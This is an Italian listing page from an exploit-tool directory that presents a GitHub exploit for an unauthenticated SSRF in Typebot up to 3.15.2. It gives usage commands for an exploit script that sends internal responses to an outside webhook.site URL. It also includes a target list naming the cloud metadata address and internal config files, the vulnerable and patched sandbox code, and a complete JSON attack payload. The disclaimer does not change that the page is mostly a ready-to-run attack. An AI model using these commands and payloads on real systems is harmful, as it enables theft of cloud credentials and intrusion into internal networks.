Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 SSRF non autenticato tramite sandbox isolated-vm fetch | Kitploit
Strumenti/GitHubGitHub/portbuster1337/cve-2026-33712
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 SSRF non autenticato tramite sandbox isolated-vm fetch

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33712 - SSRF non autenticata in Typebot

Descrizione

Typebot <= 3.15.2 (corretto in 3.16.0) contiene una vulnerabilità di Server-Side Request Forgery (SSRF) non autenticata nell'endpoint di anteprima della chat.

Endpoint: POST /api/v1/typebots/{typebotId}/preview/startChat

L'endpoint di anteprima accetta una definizione di typebot fornita dall'utente con blocchi di codice lato server. La funzione fetch() esposta all'interno del sandbox isolated-vm chiama il fetch nativo di Node.js senza la validazione SSRF validateHttpReqUrl() che protegge il normale blocco di Richiesta HTTP. Questo bypassa tutte le mitigazioni SSRF.

Disclaimer

Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test è illegale. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.

Impatto

  • Furto di credenziali cloud (AWS IMDS, metadata GCP, Azure IMDS)
  • Accesso alla rete interna a container Docker e subnet private
  • Esfiltrazione di dati da servizi interni
  • Divulgazione di SMTP_FROM / email amministratore tramite __ENV.js

File

FileDescrizione
exploit.pyScript exploit principale
endpoints.txtUn URL per riga — target SSRF da scansionare
requirements.txtDipendenze Python

Utilizzo

root@kitploit:~
pip install -r requirements.txt

# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

Argomenti

Comportamento

  1. Schema automatico — se passi bot.example.com senza http://, viene anteposto automaticamente.
  2. Controllo preliminare — prima di qualsiasi richiesta, lo script sonda il target e lo classifica come vulnerabile, corretto (richiede autenticazione), o endpoint_mancante (URL/versione errata). Esce anticipatamente in caso di fallimento a meno che non sia impostato --force.
  3. Modalità scansione — legge endpoints.txt, itera ogni URL, esfiltra il contenuto al webhook.
  4. Esfiltrazione — il contenuto viene inviato come corpo POST all'URL del webhook (non come parametri di query), evitando i limiti di lunghezza dell'URL.

endpoints.txt

Un URL grezzo per riga. Le righe vuote vengono ignorate. Nessun commento, nessuna categoria.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

Percorso del codice vulnerabile

In packages/variables/src/executeFunction.ts, la funzione fetch() esposta all'interno del sandbox isolated-vm chiamava originariamente il fetch nativo di Node.js senza validazione SSRF:

root@kitploit:~
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

La correzione (commit d96f572) ha anche riordinato i controlli in getTypebot() in modo che la validazione dell'autenticazione venga eseguita prima della scorciatoia del typebot personalizzato, e ha spostato l'endpoint di anteprima del viewer da procedureWithOptionalUser a protectedProcedure.

Struttura del payload

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Importante: fetch() all'interno del sandbox restituisce già .text(), quindi il risultato è una stringa, non un oggetto Response.

Scarica lo strumento
ArgomentoDescrizione
-t / --targetURL dell'istanza Typebot (viewer o builder). Lo schema predefinito è http://
-u / --urlURL interno da recuperare tramite SSRF (modalità singola)
-w / --webhookURL del webhook per i dati esfiltrati (o variabile d'ambiente WEBHOOK_URL)
--scanScansiona tutti gli URL da endpoints.txt
--detect-viewerSonda /__ENV.js sul target per trovare NEXT_PUBLIC_VIEWER_URL e lo usa
--forceSalta i controlli preliminari e forza l'esecuzione
--timeoutTimeout della richiesta (predefinito: 20s)
--delayRitardo tra le richieste di scansione (predefinito: 0.3s)